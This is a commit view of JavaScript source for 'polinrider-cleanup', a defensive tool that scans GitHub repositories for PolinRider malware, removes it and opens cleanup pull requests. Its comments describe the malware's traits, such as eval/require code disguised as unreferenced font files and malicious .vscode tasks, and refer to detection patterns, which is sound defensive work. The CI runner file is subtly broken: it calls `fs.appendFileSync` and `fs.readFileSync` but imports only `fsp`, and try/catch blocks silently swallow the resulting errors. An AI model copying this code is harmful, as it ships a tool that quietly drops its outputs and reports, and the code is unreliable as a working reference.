import fsp from "node:fs/promises";
import path from "node:path";
import { fileURLToPath } from "node:url";
import { scanRepo } from "./scanner.js";
import { remediate } from "./remediator.js";
import { buildPrBody, PR_TITLE, findingLines, resultLines } from "./report.js";
import { safeGit, safeGh } from "./safe-exec.js";
import { buildSarif } from "./sarif.js";
const BOT_EMAIL = "polinrider-cleanup-bot@users.noreply.github.com";
const BOT_NAME = "PolinRider Cleanup Bot";
const PROJECT_URL = "https://github.com/RMSoft-ltd/polinrider-cleanup";
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
const oneLine = (s) => (s || "").trim().split("\n")[0];
// ─── Inputs (INPUT_* with legacy-env fallback) ───────────────────────────────
/** Mirror @actions/core.getInput: INPUT_<NAME>, uppercased, spaces→underscore. */
function input(name) {
const v = process.env[`INPUT_${name.replace(/ /g, "_").toUpperCase()}`];
return v === undefined ? "" : v.trim();
}
const bool = (v) => /^(true|1|yes|on)$/i.test(String(v).trim());
export function resolveSettings() {
const commentRaw = input("comment-on-pr");
return {
mode: (input("mode") || "check").toLowerCase(),
scanPath: input("path") || ".",
exclude: input("exclude") || process.env.POLINRIDER_EXCLUDE || "",
token:
input("token") || process.env.GH_TOKEN || process.env.GITHUB_TOKEN || "",
failOn: (input("fail-on") || "infected").toLowerCase(),
commit: bool(input("commit")), // default false
commentOnPr: commentRaw === "" ? true : bool(commentRaw),
sarifFile: input("sarif-file") || process.env.SARIF_FILE || "",
dryRun: input("dry-run")
? bool(input("dry-run"))
: process.env.DRY_RUN === "true",
autoMerge: input("auto-merge")
? bool(input("auto-merge"))
: process.env.AUTO_MERGE === "true",
mergeMethod: (
input("merge-method") ||
process.env.MERGE_METHOD ||
"squash"
).toLowerCase(),
branchPrefix:
input("branch-prefix") ||
process.env.BRANCH_PREFIX ||
"fix/polinrider-cleanup",
};
}
// ─── GitHub Actions I/O (outputs, summary, annotations) ──────────────────────
function setOutput(name, value) {
const file = process.env.GITHUB_OUTPUT;
if (!file) return;
try {
fs.appendFileSync(file, `${name}=${value}\n`);
} catch {
/* ignore — outputs are best-effort */
}
}
function appendSummary(md) {
const file = process.env.GITHUB_STEP_SUMMARY;
if (!file) return;
try {
fs.appendFileSync(file, md.endsWith("\n") ? md : md + "\n");
} catch {
/* ignore */
}
}
// Workflow-command escaping differs between the message and property values.
const escData = (s) =>
String(s).replace(/%/g, "%25").replace(/\r/g, "%0D").replace(/\n/g, "%0A");
const escProp = (s) => escData(s).replace(/,/g, "%2C").replace(/:/g, "%3A");
function annotate(level, { file, line, title, message }) {
const props = [];
if (file) props.push(`file=${escProp(file)}`);
if (line) props.push(`line=${line}`);
if (title) props.push(`title=${escProp(title)}`);
console.log(
`::${level}${props.length ? " " + props.join(",") : ""}::${escData(message)}`,
);
}
const notice = (m) => console.log(`::notice::${escData(m)}`);
const warn = (m) => console.log(`::warning::${escData(m)}`);
// ─── Severity / line helpers ─────────────────────────────────────────────────
const SEVERITY_RANK = { clean: 0, suspicious: 1, infected: 2 };
export function failThreshold(failOn) {
if (failOn === "never") return Infinity;
if (failOn === "suspicious") return SEVERITY_RANK.suspicious;
return SEVERITY_RANK.infected; // default + "infected"
}
/** 1-based line for a finding that carries a char offset (js payloads), else 1. */
function findingLine(repoDir, f) {
const offset = f.edit?.offset;
if (!(offset > 0)) return 1;
try {
const text = fs.readFileSync(path.join(repoDir, f.file), "utf8");
if (offset > text.length) return 1;
return text.slice(0, offset).split("\n").length;
} catch {
return 1;
}
}
/** Repo-root-relative path so GitHub maps the annotation onto the PR diff. */
function annotationPath(workspace, repoDir, relFile) {
return path.relative(workspace, path.join(repoDir, relFile)) || relFile;
}
function emitAnnotations(workspace, repoDir, findings) {
for (const f of findings.findings) {
annotate(f.contentConfirmed ? "error" : "warning", {
file: annotationPath(workspace, repoDir, f.file),
line: findingLine(repoDir, f),
title: f.contentConfirmed ? "PolinRider malware" : "PolinRider (review)",
message: f.description,
});
}
}
// ─── Run report (job summary + PR comment body) ──────────────────────────────
export function buildSummary({ settings, findings, result }) {
const icon =
findings.severity === "infected"
? "🔴"
: findings.severity === "suspicious"
? "🟡"
: "🟢";
const out = [
"## 🛡️ PolinRider Malware Scan",
"",
`**Mode:** \`${settings.mode}\`${settings.dryRun ? " (dry run)" : ""} · **Severity:** ${icon} \`${findings.severity}\` · **Findings:** ${findings.findings.length}`,
"",
];
if (findings.findings.length) {
out.push("### Findings");
for (const l of findingLines(findings)) out.push(`- ${l}`);
out.push("");
} else {
out.push("No PolinRider signatures found. ✅", "");
}
if (result) {
out.push(
settings.dryRun ? "### Planned remediation (dry run)" : "### Remediation",
);
const lines = resultLines(result);
if (lines.length) for (const l of lines) out.push(`- ${l}`);
else out.push("- (no changes)");
out.push("");
}
if (findings.manualReview.length) {
out.push("### Needs manual review");
for (const m of findings.manualReview) out.push(`- ${m}`);
out.push("");
}
out.push("---", `_Generated by [polinrider-cleanup](${PROJECT_URL})._`);
return out.join("\n");
}
// ─── git identity / commit-back / PR (fix & pr modes) ────────────────────────
async function configureIdentity(repoDir) {
await safeGit(["-C", repoDir, "config", "user.email", BOT_EMAIL]);
await safeGit(["-C", repoDir, "config", "user.name", BOT_NAME]);
}
const tokenUrl = (fullName, token) =>
`https://x-access-token:${token}@github.com/${fullName}.git`;
function readEvent() {
const p = process.env.GITHUB_EVENT_PATH;
if (!p) return null;
try {
return JSON.parse(fs.readFileSync(p, "utf8"));
} catch {
return null;
}
}
/** fix + commit=true → commit the cleaned tree and push it back to the branch. */
async function commitBack(repoDir, settings) {
const event = process.env.GITHUB_EVENT_NAME || "";
if (event.startsWith("pull_request")) {
warn(
"commit skipped on pull_request events (detached HEAD / forks can't be pushed). Use mode: pr, or run fix on push events.",
);
return false;
}
const fullName = process.env.GITHUB_REPOSITORY;
if (!fullName || !settings.token) {
warn("commit skipped — GITHUB_REPOSITORY or token unavailable.");
return false;
}
let branch = process.env.GITHUB_REF_NAME;
if (!branch) {
const rp = await safeGit([
"-C",
repoDir,
"rev-parse",
"--abbrev-ref",
"HEAD",
]);
branch = rp.stdout.trim();
}
if (!branch || branch === "HEAD") {
warn(
"commit skipped — could not resolve a branch to push to (detached HEAD).",
);
return false;
}
await configureIdentity(repoDir);
await safeGit(["-C", repoDir, "add", "-A"]);
const staged = await safeGit([
"-C",
repoDir,
"diff",
"--cached",
"--name-only",
]);
if (!staged.stdout.trim()) return false;
const commit = await safeGit([
"-C",
repoDir,
"commit",
"-m",
"security: remove PolinRider malware artifacts\n\nAutomated cleanup by the polinrider-cleanup action.",
]);
if (commit.exitCode !== 0) {
warn(`commit failed: ${oneLine(commit.stderr)}`);
return false;
}
const push = await safeGit([
"-C",
repoDir,
"push",
tokenUrl(fullName, settings.token),
`HEAD:${branch}`,
]);
if (push.exitCode !== 0) {
warn(
`push to ${branch} failed (protected branch?): ${oneLine(push.stderr)}`,
);
return false;
}
notice(`Cleaned files committed and pushed to ${branch}.`);
return true;
}
/** pr mode → new branch, commit, push, open PR. Mirrors index.js openPR(). */
async function openCleanupPr(repoDir, settings, findings, result) {
const fullName = process.env.GITHUB_REPOSITORY;
if (!fullName) throw new Error("GITHUB_REPOSITORY is not set");
if (!settings.token)
throw new Error(
"a token is required for mode: pr (set `token:` or GH_TOKEN)",
);
const branch = `${settings.branchPrefix}-${Date.now()}`;
await configureIdentity(repoDir);
const co = await safeGit(["-C", repoDir, "checkout", "-b", branch]);
if (co.exitCode !== 0)
throw new Error(`branch creation failed: ${oneLine(co.stderr)}`);
await safeGit(["-C", repoDir, "add", "-A"]);
const staged = await safeGit([
"-C",
repoDir,
"diff",
"--cached",
"--name-only",
]);
if (!staged.stdout.trim())
return { skipped: true, reason: "no staged changes after remediation" };
const commit = await safeGit([
"-C",
repoDir,
"commit",
"-m",
`${PR_TITLE}\n\nAutomated surgical cleanup by the polinrider-cleanup action.`,
]);
if (commit.exitCode !== 0)
throw new Error(`commit failed: ${oneLine(commit.stderr)}`);
const push = await safeGit([
"-C",
repoDir,
"push",
tokenUrl(fullName, settings.token),
branch,
]);
if (push.exitCode !== 0)
throw new Error(`push failed: ${oneLine(push.stderr)}`);
const body = buildPrBody({ findings, result });
const base = [
"pr",
"create",
"--repo",
fullName,
"--title",
PR_TITLE,
"--body",
body,
"--head",
branch,
];
let pr = await safeGh([...base, "--label", "security"], {}, settings.token);
if (pr.exitCode !== 0) pr = await safeGh(base, {}, settings.token); // retry without label (may not exist)
if (pr.exitCode !== 0)
throw new Error(`PR creation failed: ${oneLine(pr.stderr)}`);
const url = pr.stdout.trim();
if (!settings.autoMerge) return { url, merged: false, mergeError: null };
const mergeArgs = [
"pr",
"merge",
url,
`--${settings.mergeMethod}`,
"--delete-branch",
];
let merge = await safeGh(mergeArgs, {}, settings.token);
if (merge.exitCode !== 0) {
await sleep(3000);
merge = await safeGh(mergeArgs, {}, settings.token);
}
if (merge.exitCode === 0) return { url, merged: true, mergeError: null };
return {
url,
merged: false,
mergeError: oneLine(merge.stderr || merge.stdout) || "merge failed",
};
}
/** Post the run report as a PR comment when on a pull_request event. */
async function postPrComment(settings, summaryMd) {
if (!settings.commentOnPr) return;
if (!(process.env.GITHUB_EVENT_NAME || "").startsWith("pull_request")) return;
if (!settings.token) return;
const ev = readEvent();
const num = ev?.pull_request?.number ?? ev?.number;
const fullName = process.env.GITHUB_REPOSITORY;
if (!num || !fullName) return;
const res = await safeGh(
["pr", "comment", String(num), "--repo", fullName, "--body", summaryMd],
{},
settings.token,
);
if (res.exitCode !== 0)
warn(
`could not post PR comment (needs pull-requests: write): ${oneLine(res.stderr)}`,
);
}
// ─── Main ────────────────────────────────────────────────────────────────────
export async function run() {
const settings = resolveSettings();
if (!["check", "fix", "pr"].includes(settings.mode)) {
console.log(
`::error::invalid mode "${settings.mode}" (expected check | fix | pr)`,
);
return 2;
}
const workspace = process.env.GITHUB_WORKSPACE || process.cwd();
const repoDir = path.resolve(workspace, settings.scanPath);
console.log(
`PolinRider scan — mode=${settings.mode} path=${path.relative(workspace, repoDir) || "."}` +
`${settings.dryRun ? " (dry run)" : ""}`,
);
const findings = await scanRepo(repoDir, { exclude: settings.exclude });
emitAnnotations(workspace, repoDir, findings);
let result = null;
let prUrl = "";
let changed = false;
if (
(settings.mode === "fix" || settings.mode === "pr") &&
findings.severity === "infected"
) {
result = await remediate(repoDir, findings, { dryRun: settings.dryRun });
changed = result.changed;
if (
settings.mode === "fix" &&
settings.commit &&
!settings.dryRun &&
changed
) {
await commitBack(repoDir, settings);
}
if (settings.mode === "pr" && !settings.dryRun) {
if (changed) {
try {
const pr = await openCleanupPr(repoDir, settings, findings, result);
if (pr.skipped) {
warn(`PR skipped: ${pr.reason}`);
} else {
prUrl = pr.url;
if (pr.merged) notice(`Cleanup PR merged: ${prUrl}`);
else if (pr.mergeError)
warn(
`Cleanup PR opened (auto-merge blocked: ${pr.mergeError}): ${prUrl}`,
);
else notice(`Cleanup PR opened: ${prUrl}`);
}
} catch (e) {
warn(`PR mode failed: ${e.message}`);
}
} else {
warn(
"Infected, but only manual-review items remain — no automated changes to open a PR for.",
);
}
}
}
// Optional SARIF for code-scanning upload.
if (settings.sarifFile) {
try {
const sarif = buildSarif(findings, { repoRoot: workspace, repoDir });
const dest = path.resolve(settings.sarifFile);
await fsp.mkdir(path.dirname(dest), { recursive: true });
await fsp.writeFile(dest, JSON.stringify(sarif, null, 2));
setOutput("sarif-file", settings.sarifFile);
} catch (e) {
warn(`could not write SARIF: ${e.message}`);
}
}
// Report: job summary + PR comment.
const summaryMd = buildSummary({ settings, findings, result });
appendSummary(summaryMd);
await postPrComment(settings, summaryMd);
// Outputs.
const remediated = !!(
result &&
(result.filesModified.length || result.filesDeleted.length)
);
setOutput("severity", findings.severity);
setOutput("infected", String(findings.severity === "infected"));
setOutput("findings-count", String(findings.findings.length));
setOutput("changed", String(changed));
setOutput("remediated", String(remediated));
if (prUrl) setOutput("pr-url", prUrl);
// Exit code.
const threshold = failThreshold(settings.failOn);
const sev = SEVERITY_RANK[findings.severity] ?? 0;
const wouldFailSeverity = threshold !== Infinity && sev >= threshold;
let code = 0;
if (settings.mode === "check" || settings.dryRun) {
code = wouldFailSeverity ? 1 : 0;
} else if (settings.mode === "fix") {
// Cleaned what it could; fail only if confirmed items remain unresolved.
const unresolved =
findings.findings.filter(
(f) => f.contentConfirmed && f.action === "manual-review",
).length +
(result?.skipped?.filter((s) => s.finding.contentConfirmed).length ?? 0);
code =
threshold !== Infinity &&
findings.severity === "infected" &&
unresolved > 0
? 1
: 0;
} else if (settings.mode === "pr") {
// PR opened (or nothing to fix). Fail only if infected and no PR was opened.
code =
threshold !== Infinity && findings.severity === "infected" && !prUrl
? 1
: 0;
}
console.log(
findings.severity === "infected"
? `Result: INFECTED — ${findings.findings.length} finding(s).`
: findings.severity === "suspicious"
? "Result: suspicious file layout — no confirmed payload."
: "Result: clean.",
);
return code;
}
// Auto-run when invoked directly (the bundled action, or `node src/ci.js`), but
// NOT when imported by a test.
const invokedDirectly =
process.argv[1] &&
path.resolve(process.argv[1]) === fileURLToPath(import.meta.url);
if (invokedDirectly) {
run()
.then((code) => process.exit(code))
.catch((err) => {
console.log(`::error::${escData(err.message)}`);
process.exit(1);
});
}
+56
View File
@@ -0,0 +1,56 @@
/**
* Build a path matcher from a list of ignore patterns, so a scan can skip files
* that are known-legitimate but would otherwise match (e.g. this very tool's own
* signature definitions and payload fixtures). Dependency-free — a minimal glob.
*
* Patterns are matched against POSIX, repo-relative paths. Supported forms:
* - exact file: src/signatures.js
* - directory: dist (or dist/ — matches everything under it)
* - glob: test/** **\/fixtures/** *.min.js
* `*` matches within a path segment; `**` matches across segments.
*/
const normalize = (p) =>
(p || "").replace(/\\/g, "/").replace(/^\.\//, "").replace(/\/+$/, "");
function globToRegExp(glob) {
let re = "";
for (let i = 0; i < glob.length; i++) {
const c = glob[i];
if (c === "*") {
if (glob[i + 1] === "*") {
re += ".*"; // ** → any chars, including "/"
i++;
} else {
re += "[^/]*"; // * → any chars except "/"
}
} else if (c === "?") {
re += "[^/]";
} else if ("\\^$.|+()[]{}".includes(c)) {
re += "\\" + c;
} else {
re += c;
}
}
return new RegExp("^" + re + "$");
}
/**
* @param {string[]|string} patterns array, or comma/newline-separated string
* @returns {(relPosixPath: string) => boolean}
*/
export function buildExcluder(patterns) {
const list = Array.isArray(patterns)
? patterns
: String(patterns || "").split(/[,\n]/);
const specs = list
.map((p) => normalize(p.trim?.() ?? p))
.filter(Boolean)
.map((n) => ({ prefix: n, re: globToRegExp(n) }));
if (specs.length === 0) return () => false;
return (rel) => {
const r = (rel || "").replace(/\\/g, "/");
return specs.some((s) => r === s.prefix || r.startsWith(s.prefix + "/") || s.re.test(r));
};
}
+176
View File
@@ -0,0 +1,176 @@
/**
* Font payload-carrier analysis.
*
* PolinRider has a variant that drops a malicious file into public/fonts (or
* static/, assets/fonts/). We flag a font ONLY when it is both:
* 1. unreferenced — no CSS/HTML/JS in the repo mentions its filename, and
* 2. suspicious — it does NOT parse as a structurally valid font.
*
* "Structurally valid" is the primary signal: a real font has valid magic AND a
* well-formed table directory / header whose declared extents stay inside the
* file. A genuine font is trusted unconditionally — even when its bytes happen to
* contain a license URL or a long base64-looking run of binary glyph data (both
* of which previously caused false positives on legitimate fonts).
*
* The real carrier is the opposite of a font: it has no font magic at all — it is
* readable JavaScript text (`global['!']=…; require(…); eval(…)`). Such a file
* fails structural validation, and the presence of code-execution strings
* (FONT_BADNESS_RES) confirms it is an appended payload rather than a merely
* corrupt font.
*
* Reading the file as a Buffer and scanning bytes never executes anything.
*/
import fs from "node:fs/promises";
import path from "node:path";
import { collectByExtension, DEFAULT_EXCLUDE } from "./walk.js";
import { FONT_MAGIC, FONT_BADNESS_RES, FONT_REF_EXTENSIONS } from "./signatures.js";
// A reference inside .vscode (e.g. a malicious task pointing at its payload font)
// must NOT count as legitimate usage.
const REF_EXCLUDE = new Set([...DEFAULT_EXCLUDE, ".vscode"]);
const NO_RELIABLE_MAGIC = new Set([".eot"]); // EOT lacks a single stable magic
const BYTE_SCAN_LIMIT = 256 * 1024; // scan at most 256 KB for embedded strings
const REF_HAYSTACK_LIMIT = 8 * 1024 * 1024; // cap concatenated reference text
/** Identify a font format from the first 4 bytes, or 'unknown'. */
export function readMagic(buf) {
if (!Buffer.isBuffer(buf) || buf.length < 4) return "unknown";
for (const [fmt, sig] of Object.entries(FONT_MAGIC)) {
if (!sig) continue;
if (sig.every((b, idx) => buf[idx] === b)) return fmt;
}
return "unknown";
}
/**
* Validate a buffer's font structure from its header/table directory alone.
* Pure and byte-only: never executes anything, never allocates based on the
* file's own declared sizes.
*
* A recognized magic whose declared extents stay within the file is treated as a
* genuine font. When the magic is recognized but the specific variant is one we
* don't fully parse, we give the benefit of the doubt (valid) — the downstream
* blast radius is file deletion, so we only reject when we are confident the
* bytes are NOT a font.
*
* @param {Buffer} buf
* @returns {{ valid: boolean, format: string, reason?: string }}
*/
export function parseFontStructure(buf) {
const format = readMagic(buf);
if (format === "unknown") {
return { valid: false, format, reason: "no recognizable font magic bytes" };
}
// WOFF / WOFF2: header declares the total file length at offset 8 and the table
// count at offset 12 — both trivially cross-checkable against the actual bytes.
if (format === "woff" || format === "woff2") {
if (buf.length >= 14 && buf.readUInt32BE(8) === buf.length && buf.readUInt16BE(12) > 0) {
return { valid: true, format };
}
return { valid: false, format, reason: `malformed ${format} header (declared length or table count invalid)` };
}
// TrueType Collection: numFonts at offset 8, then that many sfnt-header offsets.
if (format === "ttc") {
if (buf.length >= 12) {
const numFonts = buf.readUInt32BE(8);
if (numFonts >= 1 && numFonts <= 256 && 12 + numFonts * 4 <= buf.length) {
let ok = true;
for (let i = 0; i < numFonts; i++) {
if (buf.readUInt32BE(12 + i * 4) + 12 > buf.length) {
ok = false;
break;
}
}
if (ok) return { valid: true, format };
}
}
return { valid: false, format, reason: "malformed TrueType Collection header" };
}
// sfnt (ttf / otf / legacy 'true'): numTables at offset 4, then a 16-byte table
// directory. Every table's (offset + length) must stay within the file.
const numTables = buf.length >= 6 ? buf.readUInt16BE(4) : 0;
const dirEnd = 12 + numTables * 16;
if (numTables < 1 || numTables > 4096 || dirEnd > buf.length) {
return { valid: false, format, reason: "malformed font table directory" };
}
for (let i = 0; i < numTables; i++) {
const rec = 12 + i * 16;
if (buf.readUInt32BE(rec + 8) + buf.readUInt32BE(rec + 12) > buf.length) {
return { valid: false, format, reason: "font table points past end of file" };
}
}
return { valid: true, format };
}
/** Scan a font's leading bytes for code-execution strings a real font never has. */
function scanCodeStrings(buf) {
const window = buf.subarray(0, Math.min(buf.length, BYTE_SCAN_LIMIT)).toString("latin1");
return FONT_BADNESS_RES.some((re) => re.test(window))
? ["contains embedded code-like strings a real font never has (eval/require/global[/etc.)"]
: [];
}
/**
* Inspect font bytes for signs it isn't a real font.
*
* A structurally valid font is trusted unconditionally (never `bad`). Otherwise
* the file is flagged, and `hasCodeStrings` tells the caller whether it also
* carries a code payload — the difference between a confirmed carrier (auto-remove)
* and a merely unrecognized blob (manual review).
*
* @param {Buffer} buf
* @param {string} [ext] file extension (e.g. ".woff2"). Formats without a reliable
* magic number (.eot) can only be flagged by embedded code strings.
* @returns {{ bad: boolean, magic: string, reasons: string[], hasCodeStrings: boolean }}
*/
export function looksSuspicious(buf, ext = "") {
// EOT has no single stable magic; never reject it structurally — only an
// embedded code payload makes an .eot suspicious.
if (NO_RELIABLE_MAGIC.has(ext.toLowerCase())) {
const reasons = scanCodeStrings(buf);
return { bad: reasons.length > 0, magic: readMagic(buf), reasons, hasCodeStrings: reasons.length > 0 };
}
const struct = parseFontStructure(buf);
if (struct.valid) {
return { bad: false, magic: struct.format, reasons: [], hasCodeStrings: false };
}
const codeReasons = scanCodeStrings(buf);
return {
bad: true,
magic: struct.format,
reasons: [struct.reason, ...codeReasons],
hasCodeStrings: codeReasons.length > 0,
};
}
/**
* Build a lowercased haystack of every file that could reference a font, so we
* can cheaply test whether a font filename is used anywhere. Conservative by
* design: a substring match counts as "referenced" (we'd rather keep a file
* than wrongly delete a legitimate, referenced font).
*/
export async function collectFontReferences(repoDir) {
const files = await collectByExtension(repoDir, FONT_REF_EXTENSIONS, { exclude: REF_EXCLUDE });
let haystack = "";
for (const f of files) {
if (haystack.length > REF_HAYSTACK_LIMIT) break;
try {
haystack += "\n" + (await fs.readFile(f, "utf8")).toLowerCase();
} catch {
/* unreadable file → skip */
}
}
return haystack;
}
/** True if the font's basename appears anywhere in the reference haystack. */
export function isReferenced(haystack, fontPath) {
return haystack.includes(path.basename(fontPath).toLowerCase());
}
+376
View File
@@ -0,0 +1,376 @@
import "./safety.js"; // MUST be the first import — installs runtime guards.
/**
* PolinRider Org Cleanup CLI (consolidated, hardened).
*
* Flow per repo:
* 1. Clone default branch into WORKSPACE/<repo> (shallow, hooks disabled)
* 2. Scan in-process (reads files as inert text — never executes them)
* 3. If infected → surgically remediate
* 4. Commit changes on a new branch and open a PR via gh
*
* Required env: GH_TOKEN, and exactly one of GH_ORG (organization) or GH_USER
* (personal account). Optional: DRY_RUN, WORKSPACE, BRANCH_PREFIX.
*
* SAFETY: every subprocess goes through src/safe-exec.js (git/gh only). No
* target file content is ever require()'d, import()'d, eval()'d, or exec()'d.
*/
import chalk from "chalk";
import ora from "ora";
import path from "node:path";
import fs from "node:fs/promises";
import { existsSync } from "node:fs";
import { fileURLToPath } from "node:url";
import { safeGit, safeGh } from "./safe-exec.js";
import { scanRepo } from "./scanner.js";
import { remediate } from "./remediator.js";
import { buildPrBody, PR_TITLE, findingLines, resultLines, buildRunJson, buildRunMarkdown } from "./report.js";
import { hardeningStatus } from "./safety.js";
// ─── Config (resolved inside main() so importing this module is side-effect-free) ─
let ACCOUNT, TOKEN, DRY_RUN, WORKSPACE, BRANCH_PREFIX;
let AUTO_MERGE, MERGE_METHOD, REPORTS_DIR, reportBase, reportStamp;
let reportWarned = false;
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
function env(name) {
const val = process.env[name];
if (!val) {
console.error(chalk.red(`✖ Missing required env var: ${name}`));
process.exit(2);
}
return val;
}
// The target account is EITHER a GitHub org (GH_ORG) or a personal user account
// (GH_USER). Set exactly one — comment out the other in your .env. The resolved
// `owner` is used both to list repos and to prefix bare GH_REPO entries.
function resolveAccount() {
const org = (process.env.GH_ORG || "").trim();
const user = (process.env.GH_USER || "").trim();
if (org && user) {
console.error(chalk.red("✖ Set only one of GH_ORG or GH_USER, not both"));
process.exit(2);
}
if (!org && !user) {
console.error(
chalk.red("✖ Set GH_ORG (organization) or GH_USER (personal account)"),
);
process.exit(2);
}
return user ? { kind: "user", owner: user } : { kind: "org", owner: org };
}
function section(title) {
console.log("\n" + chalk.bold.underline(title));
}
function indent(lines, color = chalk.gray) {
for (const l of lines) console.log(" " + color(l));
}
// ─── Clone ───────────────────────────────────────────────────────────────────
async function cloneRepo(fullName) {
const repoName = fullName.split("/")[1];
const dest = path.join(WORKSPACE, repoName);
if (existsSync(dest)) await fs.rm(dest, { recursive: true, force: true });
const url = `https://x-access-token:${TOKEN}@github.com/${fullName}.git`;
const clone = await safeGit(["clone", "--depth=1", url, dest]);
if (clone.exitCode !== 0) throw new Error(`clone failed: ${clone.stderr}`);
await safeGit(["-C", dest, "config", "user.email", "polinrider-cleanup-bot@users.noreply.github.com"]);
await safeGit(["-C", dest, "config", "user.name", "PolinRider Cleanup Bot"]);
return dest;
}
// ─── Commit + push + PR ────────────────────────────────────────────────────────
async function openPR(repoDir, fullName, findings, result) {
const branch = `${BRANCH_PREFIX}-${Date.now()}`;
const checkout = await safeGit(["-C", repoDir, "checkout", "-b", branch]);
if (checkout.exitCode !== 0) throw new Error(`branch creation failed: ${checkout.stderr}`);
await safeGit(["-C", repoDir, "add", "-A"]);
const staged = await safeGit(["-C", repoDir, "diff", "--cached", "--name-only"]);
if (!staged.stdout.trim()) return { skipped: true, reason: "no staged changes after remediation" };
const commit = await safeGit([
"-C", repoDir, "commit",
"-m", "security: remove PolinRider malware artifacts\n\nAutomated surgical cleanup by polinrider-remover.",
]);
if (commit.exitCode !== 0) throw new Error(`commit failed: ${commit.stderr}`);
const push = await safeGit([
"-C", repoDir, "push",
`https://x-access-token:${TOKEN}@github.com/${fullName}.git`,
branch,
]);
if (push.exitCode !== 0) throw new Error(`push failed: ${push.stderr}`);
const body = buildPrBody({ findings, result });
const baseArgs = ["pr", "create", "--repo", fullName, "--title", PR_TITLE, "--body", body, "--head", branch];
let pr = await safeGh([...baseArgs, "--label", "security"]);
if (pr.exitCode !== 0) pr = await safeGh(baseArgs); // retry without label (may not exist)
if (pr.exitCode !== 0) throw new Error(`PR creation failed: ${pr.stderr}`);
const url = pr.stdout.trim();
if (!AUTO_MERGE) return { url, merged: false, mergeError: null };
// Respect branch protection: a direct merge fails where reviews/checks are
// required — that's reported, not bypassed. Retry once for mergeability lag.
const mergeArgs = ["pr", "merge", url, `--${MERGE_METHOD}`, "--delete-branch"];
let merge = await safeGh(mergeArgs);
if (merge.exitCode !== 0) {
await sleep(3000);
merge = await safeGh(mergeArgs);
}
if (merge.exitCode === 0) return { url, merged: true, mergeError: null };
return { url, merged: false, mergeError: (merge.stderr || merge.stdout || "merge failed").trim().split("\n")[0] };
}
// ─── Resolve target repos ──────────────────────────────────────────────────────
//
// Set GH_REPO (alias GH_REPOS) to a comma-separated list to scope a pilot run to
// specific repos and skip the listing. Each entry may be "name" (the account
// owner — GH_ORG or GH_USER — is prefixed) or "owner/name". Unset → scan every
// repo for the configured account (org repos, or the user's owned repos).
const REPO_RE = /^[\w.-]+\/[\w.-]+$/;
async function resolveTargetRepos() {
const scope = (process.env.GH_REPOS || process.env.GH_REPO || "").trim();
if (scope) {
const repos = scope
.split(",")
.map((s) => s.trim())
.filter(Boolean)
.map((r) => (r.includes("/") ? r : `${ACCOUNT.owner}/${r}`));
const invalid = repos.filter((r) => !REPO_RE.test(r));
if (invalid.length) {
console.error(chalk.red(`✖ Invalid repo name(s) in GH_REPO: ${invalid.join(", ")}`));
process.exit(2);
}
console.log(
chalk.yellow(` Scoped run — ${repos.length} repo(s) from GH_REPO: ${chalk.bold(repos.join(", "))}`),
);
return repos;
}
const spinner = ora(
`Fetching repos for ${ACCOUNT.kind}: ${chalk.bold(ACCOUNT.owner)}`,
).start();
// Org → all repos in the org. User → repos OWNED by the authenticated user
// (affiliation=owner excludes repos you're only a collaborator/org member on).
const endpoint =
ACCOUNT.kind === "org"
? `orgs/${ACCOUNT.owner}/repos`
: "user/repos?affiliation=owner";
const list = await safeGh(["api", endpoint, "--paginate", "--jq", ".[].full_name"]);
if (list.exitCode !== 0) {
spinner.fail(`Failed to list ${ACCOUNT.kind} repos`);
console.error(list.stderr);
process.exit(2);
}
const repos = list.stdout.split("\n").map((r) => r.trim()).filter(Boolean);
spinner.succeed(`Found ${chalk.bold(repos.length)} repositories`);
return repos;
}
// ─── Main ──────────────────────────────────────────────────────────────────────
export async function main() {
ACCOUNT = resolveAccount();
TOKEN = env("GH_TOKEN");
DRY_RUN = process.env.DRY_RUN === "true";
WORKSPACE = process.env.WORKSPACE || "/workspace";
BRANCH_PREFIX = process.env.BRANCH_PREFIX || "fix/polinrider-cleanup";
AUTO_MERGE = process.env.AUTO_MERGE === "true";
MERGE_METHOD = (process.env.MERGE_METHOD || "squash").toLowerCase();
if (!["squash", "merge", "rebase"].includes(MERGE_METHOD)) {
console.error(chalk.red(`✖ MERGE_METHOD must be squash|merge|rebase (got "${MERGE_METHOD}")`));
process.exit(2);
}
REPORTS_DIR = process.env.REPORTS_DIR ?? "reports"; // set empty to disable
reportStamp = new Date();
reportBase = REPORTS_DIR
? path.join(REPORTS_DIR, `polinrider-${reportStamp.toISOString().replace(/[:.]/g, "-")}`)
: null;
console.log(chalk.bold.cyan("\n╔══════════════════════════════════════╗"));
console.log(chalk.bold.cyan("║ PolinRider Org Cleanup Tool v2.0 ║"));
console.log(chalk.bold.cyan("╚══════════════════════════════════════╝"));
const h = hardeningStatus();
console.log(
chalk.gray(
` hardening: eval ${h.evalBlocked ? "blocked" : chalk.red("OPEN")}, codegen-flag ${
h.codegenFlag ? "on" : chalk.yellow("off")
}, launcher ${h.hardenedLaunch ? "on" : chalk.yellow("off")}`,
),
);
if (DRY_RUN) console.log(chalk.yellow.bold("\n ⚠ DRY RUN — no files written, no pushes or PRs\n"));
await fs.mkdir(WORKSPACE, { recursive: true });
const results = { total: 0, clean: 0, infected: 0, remediated: 0, prOpened: 0, merged: 0, manualOnly: 0, errors: [], prs: [], repos: [] };
const repos = await resolveTargetRepos();
results.total = repos.length;
for (const fullName of repos) {
const repoName = fullName.split("/")[1];
section(fullName);
let repoDir;
const record = { repo: fullName, severity: null, findings: [], deleted: [], modified: [], notes: [], manualReview: [], pr: null, error: null };
try {
const cloneSpinner = ora(" Cloning...").start();
repoDir = await cloneRepo(fullName);
cloneSpinner.succeed(chalk.gray(" Cloned"));
const scanSpinner = ora(" Scanning...").start();
const findings = await scanRepo(repoDir);
record.severity = findings.severity;
record.findings = findings.findings.map((f) => ({
file: f.file, action: f.action, confidence: f.confidence, contentConfirmed: f.contentConfirmed, description: f.description,
}));
record.manualReview = findings.manualReview;
if (findings.severity !== "infected") {
const note = findings.coPresenceAmplified ? " (suspicious file layout — no confirmed payload)" : "";
scanSpinner.succeed(" " + chalk.green(`Clean — no PolinRider signatures found${note}`));
results.clean++;
continue;
}
scanSpinner.warn(" " + chalk.red.bold("INFECTED — malware signatures detected"));
results.infected++;
indent(findingLines(findings));
const remSpinner = ora(" Remediating...").start();
const result = await remediate(repoDir, findings, { dryRun: DRY_RUN });
record.deleted = result.filesDeleted;
record.modified = result.filesModified;
record.notes = result.notes;
